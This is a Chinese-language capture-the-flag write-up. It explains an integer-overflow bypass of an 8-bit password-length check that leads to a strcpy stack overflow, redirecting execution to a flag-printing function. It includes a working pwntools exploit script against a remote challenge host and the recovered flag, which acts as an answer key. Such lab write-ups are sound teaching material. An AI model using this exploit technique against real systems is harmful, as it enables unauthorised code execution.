checksec 查看保护机制

可直接使用栈溢出;基地址不变化;栈中数据有执行权限;
分析思路
32位文件,按流程查看程序,main()无突破点。
进入login(),限制username长度最大0x19;限制passwd长度最大0x199;
进入check_passwd(),v3存储passwd长度,满足if语句3<v3<=8可跳到else语句。
此处有突破点:v3类型为unsigned __int8,,取值范围0~255,而v3存储的passwd最大为0x199,即409.远大于v3取值范围。此处为典型整数溢出。
综上:if语句中的v3范围为(3,8]或[259,264] (最大为255,若使其溢出,则需再加四字节,__int8 是指8bit)
溢出之后到达else语句,函数返回 strcpy(dest,s),dest为字符串拷贝目的栈,长度为0x14。

在字符串中发现cat flag,属于函数 what_is_this(),地址为0x0804868B.
攻击思路
可以利用栈溢出,令passwd直接覆盖dest,直接使函数返回what_is_this()。
在字符拷贝过程中,输入0x14个字符,可覆盖函数返回地址,具体是否为0x14个字符,现在查看汇编语言:


在字符串拷贝前,先将拷贝原地址和目的地址压入堆栈,在函数最开始压入ebp变量,在函数结尾存在leave指令,在32位程序中,leave指令等于mov esp,ebp和pop ebp。即:在覆盖函数返回地址前,还有一次出栈操作,数值4字节。即覆盖之前还需将这4字节覆盖。随机选取数值262.
(what_is_this()函数的地址为4字节)
262-0x14-4-4=234
或者,我在gdb中调试程序,在strcpy下断点,passwd填上‘a’*262,观察到ebp值为4字节。

exp:
from pwn import*
sh=remote('111.198.29.45',39118)
sh.recvuntil('Your choice:')
flag=0x0804868B
sh.sendline('1')
sh.recvuntil('username:')
sh.sendline('z')
sh.recvuntil('passwd:')
payload='a'*0x14+'aaaa'+p32(flag)+'a'*234
sh.sendline(payload)
sh.interactive()
cyberpeace{2a2d92a084e034be9c3a03bbab4f149b}